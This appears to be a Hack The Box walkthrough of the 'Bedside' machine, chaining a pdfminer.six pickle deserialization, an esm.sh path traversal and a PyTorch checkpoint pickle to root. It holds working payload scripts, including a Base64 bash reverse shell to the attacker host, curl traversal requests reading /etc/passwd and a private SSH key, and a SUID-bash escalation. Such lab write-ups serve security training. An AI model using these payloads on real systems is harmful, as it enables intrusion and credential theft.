Description

Bedside is a medium Hack The Box machine that features:

  • Insecure Deserialization (pickle) in pdfminer.six CMap Loader leads to Remote Command Execution
  • Path Traversal vulnerability on internal web application leads to user public SSH key file read
  • Privilege Escalation via Insecure Deserialization (pickle) in Torch load function

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.46.25.

$ ping -c 3 10.129.46.25
PING 10.129.46.25 (10.129.46.25) 56(84) bytes of data.
64 bytes from 10.129.46.25: icmp_seq=1 ttl=63 time=47.0 ms
64 bytes from 10.129.46.25: icmp_seq=2 ttl=63 time=46.7 ms
64 bytes from 10.129.46.25: icmp_seq=3 ttl=63 time=47.2 ms

--- 10.129.46.25 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.671/46.943/47.150/0.200 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.46.25 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.46.25
Host is up (0.048s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 3.71 seconds

We get two open ports: 22, 80. And one filtered port, 3000, so it should be opened only for local connections.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.46.25 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.46.25
Host is up (0.047s latency).

PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp   open     http    Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://bedside.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds

We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the bedside.htb domain to the /etc/hosts file.

$ echo '10.129.46.25 bedside.htb' | sudo tee -a /etc/hosts

We find a static web page about a heart health company that offers advanced AI and compassionate care. We do not find anything of value on the page so we do subdomain discover.

$ gobuster vhost -u http://bedside.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50  
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://bedside.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
research.bedside.htb Status: 200 [Size: 3152]

We find one subdomain, research.bedside.htb, we add it to the /etc/hosts file.

$ echo '10.129.46.25 research.bedside.htb' | sudo tee -a /etc/hosts

The Bedside Research Portal is a secure internal platform designed to integrate advanced AI into the clinic’s research workflow by collecting medical data from staff. Technically, the portal serves as a secure data ingestion and processing pipeline for authorized clinic staff. The platform allows users to upload specific file formats, specifically jpeg, jpg, png, bmp, tiff, dcm, and pdf, while also supporting the submission of collections compiled as archives. Once uploaded, the system securely processes these research documents and medical imaging files, converting certain formats into standardized files before integrating them into the machine learning pipeline for AI model training.

We are going to upload one sample file, such as image.png file, to check how the server is handling the upload. We get back the File uploaded successfully: image.png message. We find that the file is uploaded to the /uploads/image.png path. By intercepting the request we find that the server is responding with an special header, X-Powered-By: pdfminer.six, so it seems that the server is using the pdfminer.six library, that it is a tool for extracting information from PDF documents. It focuses on getting and analyzing text data. The file is uploaded as a multi-part payload, such as:

------WebKitFormBoundaryOFSQ0LA0aX34lzGi
Content-Disposition: form-data; name="uploadFile"; filename="image.png"
Content-Type: image/png
...

We are going to change the filename parameter, with another extension, for example .pdf, to find the reaction of the server. We receive back the MIME type mismatch. Unable to upload file to destination /var/www/research.bedside.htb/uploads message. The server is leaking the path where the files are being uploaded. A way to upload executable files such as .php is not found.

Exploitation

CVE-2025-70559 vulnerability identifies a high-severity insecure deserialization vulnerability affecting the pdfminer.six Python library in all versions before 20251230. This flaw stems from an incomplete patch to a previous weakness, allowing the application to use Python’s native pickle module to deserialize CMap cache files without proper data validation. If a local, low-privileged attacker manages to place a malformed pickle file into a directory included in the application’s search path, a trusted process loading that file will trigger arbitrary code execution, potentially resulting in full local privilege escalation to a root or service account. Technical details are fully detailed within the advisory.

We start by generating the pickle payload that will trigger the deserialization, as following the example in the advisory, the file with Gunzip compression is saved in the evil.pickle.gz file and generated with the following Python script, create_pickle.py. In this case as the command to trigger the RCE, we will use a Base64-encoded reverse shell.

import gzip
import os
import pickle

class RCE:
    def __reduce__(self):
        return (os.system, ('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjAvMTIzNCAwPiYx | base64 -d | bash',))

payload = pickle.dumps(RCE())
with gzip.open("./evil.pickle.gz", "wb") as f:
    f.write(payload)

We execute it:

$ python create_pickle.py

We are going to generate and modify a PDF file to exploit the vulnerability. We generate the PDF file by using the “Print to PDF” mechanism of the Chromium browser.

$ chromium --headless --disable-gpu --print-to-pdf=web_output.pdf http://bedside.htb

To make the parser process the malicious payload, the text processing and font rendering engine must first be triggered, which is why the exploit specifically targets the font dictionary resources inside the PDF. When the application attempts to read or extract text rendered with a composite font, it is forced to look up the designated character map name to translate character codes into readable text glyphs. Within this lookup process, the exploit mechanism manipulates the /Encoding or /CMap reference entry rather than altering the internal font instructions themselves.

The pdfminer.six parser automatically decodes hexadecimal characters (such as representing slashes as #2F) when reading this CMap name string from the PDF, which inadvertently resolves path traversal sequences through directory-joining functions during the font setup phase. By embedding these manipulated path literals into the font definition, an attacker forces the application to look outside its trusted resources and instead load and deserialize a malicious .pickle.gz file located in a targeted local directory.

We are going to use the pikepdf Python library to modify the PDF file, so we need to install it. As the /Encoding property we will use, //var/www/research.bedside.htb/uploads/evil, the path where the evil.pickle.gz file is found with / as first character as needed by Name property, without the .pickle.gz part, because the program will append it automatically. The library will encode the / characters with #2F. We use the following mod_pdf.py Python script:

import pikepdf

with pikepdf.open("web_output.pdf") as pdf:
    for obj in pdf.objects:
        if isinstance(obj, pikepdf.Dictionary) and obj.get("/Type") == "/Font":
            if "/Encoding" in obj:
                obj["/Encoding"] = pikepdf.Name("//var/www/research.bedside.htb/uploads/evil")
    pdf.save("web_output_mod.pdf")

We check in the web_output_mod.pdf file that the /Encoding parameter is changed.

$ grep -a "/Encoding" web_output_mod.pdf
<< /BaseFont /AAAAAA+LiberationSans-Bold /DescendantFonts [ 61 0 R ] /Encoding /#2fvar#2fwww#2fresearch.bedside.htb#2fuploads#2fevil /Subtype /Type0 /ToUnicode 62 0 R /Type /Font >>
...

Now we start the listening TCP port with nc -nvlp 1234 and then we upload the two files we generated, firstly evil.pickle.gz and then mod_pdf.py. After a few seconds, we will receive the reverse shell as the datawrangler user, we upgrade it.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.220] from (UNKNOWN) [10.129.46.108] 43734
datawrangler@data-wrangler:/app$ id        
id
uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
datawrangler@data-wrangler:/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
datawrangler@data-wrangler:/app$ ^Z
[1]  + 23984 suspended  nc -nvlp 1234
$ reset xterm
datawrangler@data-wrangler:/app$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

We only find the Python script that handles the uploaded file, pdf_watcher.py. This Python script acts as a backend automation worker that continuously monitors a designated upload directory for PDF files to extract their text content. Every 30 seconds, it scans the directory, applies safety checks to filter out suspicious filenames, symbolic links, or non-regular files, and then uses the pdf2txt.py tool via a sub-process to convert each valid PDF into a text file saved under a randomized UUID name in a /datastore/staging directory.

datawrangler@data-wrangler:/app$ ls
pdf_watcher.py  requirements.txt
datawrangler@data-wrangler:/app$ head -n 15 pdf_watcher.py
...

# Container paths
#UPLOAD_DIR = "/var/www/html/uploads"
UPLOAD_DIR = "/var/www/research.bedside.htb/uploads"
OUTPUT_DIR = "/datastore/staging"

TIMEOUT = 10
...

We find that we are inside a Docker container.

datawrangler@data-wrangler:/app$ hostname
data-wrangler
datawrangler@data-wrangler:/app$ hostname -I
10.129.46.108 172.17.0.1 
datawrangler@data-wrangler:/app$ mount | grep docker
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/...

We only find root and datawrangle users:

datawrangler@data-wrangler:/app$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
datawrangler:x:988:1001::/home/datawrangler:/bin/sh

We remember that we discovered previously that a 3000 port is opened. We can check with cURL tool the functionality of the web application.

datawrangler@data-wrangler:/app$ curl http://10.129.46.108:3000
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Bedside Clinic - Image Viewer</title>
...
<script type="module">import createHotContext from"/@hmr";const hot=createHotContext("/index.html");hot.watch(()=>location.reload());</script><script>console.log("%c💚 Built with esm.sh/x, please uncheck \"Disable cache\" in Network tab for better DX!", "color:green")</script>

This web page serves as a front-end medical image and segmentation mask viewer for “Bedside Clinic” built using React to display dynamic 5x5 MRI matrices with sequential slicing controls. Through inspection of the application’s source code, it is discovered that it runs in a development environment powered by esm.sh/x, as evidenced by the diagnostic console logs and the embedded Hot Module Replacement (HMR) script (/@hmr) injected at the end of the document to handle live page reloads.

The CVE-2025-59341 vulnerability is a Local File Inclusion (LFI) flaw within the esm.sh server infrastructure caused by improper sanitization of incoming URL path parameters. By embedding directory traversal sequences such as ../../ into specific package request URLs, the server’s path canonicalization logic is bypassed, failing to restrict file access to the designated public repository directory. As a result, an unauthenticated attacker can manipulate the file system requests to escape the application root, forcing the Go-based backend to read and expose the contents of arbitrary, sensitive configuration files or system resources hosted on the underlying server host.

We are going to check if the server is vulnerable by querying the /etc/passwd file.

datawrangler@data-wrangler:/app$ curl -s http://10.129.46.108:3000/..%2f..%2f..%2f..%2fetc%2fpasswd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
datawrangler:x:988:1001::/home/datawrangler:/bin/sh

The server is vulnerable and we find another user, developer, this may be the host machine that hosts the Docker container. We check that we can retrieve the private SSH key of the developer user.

datawrangler@data-wrangler:/app$ curl -s http://10.129.46.108:3000/..%2f..%2f..%2f..%2fhome%2fdeveloper%2f.ssh%2fid_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
AAAEBySF+9afvOfxLBTbYWcyNm7zOrsXrKdvfkg/vvFZaiwiJ/sO1VD1fbfq+USF3RXNIn
RklXPKvABvvNPkg5mi0AAAAAEWRldmVsb3BlckBiZWRzaWRlAQIDBA==
-----END OPENSSH PRIVATE KEY-----

We use it to login to the machine using the SSH protocol.

$ nano developer_key
$ chmod 600 developer_key
$ ssh -i developer_key developer@bedside.htb 
================================================================================
|                                                                              |
|                         BEDSIDE CLINIC NETWORK                               | 
|                                                                              |
|          Authorized Access Only. All activities are monitored.               |
|                                                                              |
|  NOTICE TO SYSTEM ADMINISTRATORS:                                            |
|  - Maintain patient data confidentiality and HIPAA compliance.               |
|  - Always check the Change Management schedule before escalating.            |
|  - Follow IT security policies for updates, backups, and monitoring.         |
|                                                                              |
|  SYSTEM OPERATIONS TEAM                                                      |
|  Bedside Clinic - Clinical IT Department                                     |
|                                                                              |
================================================================================
...
developer@bedside:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer),100(users)

Post-Exploitation

We find that we can only run one command as root user, the /opt/trainer/bedside_trainer.py script.

developer@bedside:~$ sudo -l
Matching Defaults entries for developer on bedside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User developer may run the following commands on bedside:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
developer@bedside:~$ cat /opt/trainer/bedside_trainer.py
#!/usr/bin/env python3
"""
Bedside Clinic - MONAI trainer (v0.1.0-beta)

This software is an internal beta release intended for use by company staff and developers
for testing, experimentation, and development purposes only.

Key points:

- Staff must **exercise caution** and ensure proper backups of any data used with this tool.
- This tool should **not be used for clinical decision-making** or in patient care.
- Further development, testing, and validation are required before any production deployment.

Usage:
    python bedside_trainer.py [--epochs N] [--batch-size N] [--lr LR] [--scanner /dev/usbscanner0]

Notes:
- Root access is required if specifying a hardware scanner.
- RAW_DIR is currently a placeholder for future integration. Preprocessing features will be added in the future to handle more complex files (DICOM, NIfTI, etc.)
- Current data flow is as follows: [staging/] > [processed/] > (DataLoader) > model
- Script is currently fully functional with image files (jpeg, png, etc.). Refer to allowed extensions for supported types. 

"""
...

This Python script acts as an internal machine learning training service for Bedside Clinic that monitors local directories to train medical imaging models using the MONAI and PyTorch frameworks. If the processing queue (/datastore/processed) is empty, it promotes medical or text files from a staging directory, structures them into a standard PyTorch DataLoader based on file format (handling 3D NIfTI volumes vs. 2D standard images), sets up a multi-layer linear neural network model dynamically adapted to the input dimension, and executes a training loop while managing metrics logging via TensorBoard and robust state saving or resumption via checkpoint files.

The unsafe deserialization vulnerability within the PyTorch training loop arises from the application’s reliance on MONAI’s CheckpointLoader, which internally handles checkpoint recovery via standard torch.load mechanics with weights_only=False. By default, PyTorch uses Python’s native pickle module to serialize and deserialize model weights, optimizers, and metadata stored in .pt files. Because pickle executes arbitrary constructors and instructions during data reconstruction, it does not distinguish between standard model parameters and malicious payloads; consequently, if an untrusted user or process is able to plant a manipulated file inside the automated /datastore/checkpoints/ directory, the backend worker will automatically parse it as the latest state and execute arbitrary code on the underlying host with the privileges of the training process.

As we made previously, we are going to use pickle to generate a malicious .py checkpoint file that will trigger a command, in this case to create a SUID Bash file in the /home/developer path. We will use the following create_checkpoint.py Python script that will generate the checkpoint.py file. As it uses the torch Python library, we need to install it.

import os
import torch
import torch.nn as nn
import torch.optim as optim

class RCE:
    def __reduce__(self):
        return (os.system, ('cp /bin/bash /home/developer/suid-bash; chmod u+s /home/developer/suid-bash',))


model = nn.Linear(10, 2)
optimizer = optim.Adam(model.parameters(), lr=0.001)
epoch = 5

checkpoint_data = {
    "epoch": epoch,
    "model": RCE(),
    "optimizer_state_dict": optimizer.state_dict(),
}

torch.save(checkpoint_data, "checkpoint.pt")

If we try to write the checkpoint.pt file in the /datastore/checkpoints directory using the developer account we find that we do not have permissions to do it, it is only granted to the datawrangler user.

$ stat /datastore
  File: /datastore
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 8,4     Inode: 50007       Links: 8
Access: (0770/drwxrwx---)  Uid: (  988/datawrangler)   Gid: ( 1001/ dataops)

But we have a previous session as the datawrangler user in the Docker container so we move to it to create the file there, as the /datastore folder is mapped between the host and the container. To copy it we can encode it using Base64 with the cat checkpoint.pt | base64 -w 0 command.

datawrangler@data-wrangler:/app$ echo 'UEsDBAAACAg...' | base64 -d > /datastore/checkpoints/checkpoint.pt

The script’s data ingestion pipeline attempts to initialize the model layout by reading a sample from the DataLoader, which currently chokes on non-image formats like text files. Because the underlying MONAI LoadImaged transform only has standard PILReader and NumpyReader engines registered, the training workflow requires at least one valid image file, such as a .png or .jpg, to be present within the /datastore/processed/ directory. Once a structurally valid image is processed instead of a raw text stream, the data loader can successfully build the initial tensor batch, allowing the program execution to smoothly advance past the dimension inference stage and reach the checkpoint loading logic where the actual state restoration occurs.

We use the initially uploaded image.png file, copied to the /datastore/processed directory. We also need to delete all .txt files present in that directory, if any.

datawrangler@data-wrangler:/app$ cp /var/www/research.bedside.htb/uploads/image.png /datastore/processed/
datawrangler@data-wrangler:/app$ rm -rf /datastore/processed/*.txt

Then we return to the developer session and we execute the Python script to trigger the vulnerability.

developer@bedside:~$ sudo python3 /opt/trainer/bedside_trainer.py
...
TypeError: Expected state_dict to be dict-like, got <class 'int'>.

An error is triggered but the command is executed and the suid-bash binary is created. We executed it to pivot to super-administrator permissions.

developer@bedside:~$ ls
projects  suid-bash  user.txt
developer@bedside:~$ ./suid-bash -p
suid-bash-5.2# id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer),100(users)

Flags

In the root shell we can retrieve the user.txt and root.txt flags.

suid-bash-5.2# cat /home/developer/user.txt 
<REDACTED>
suid-bash-5.2# cat /root/root.txt 
<REDACTED>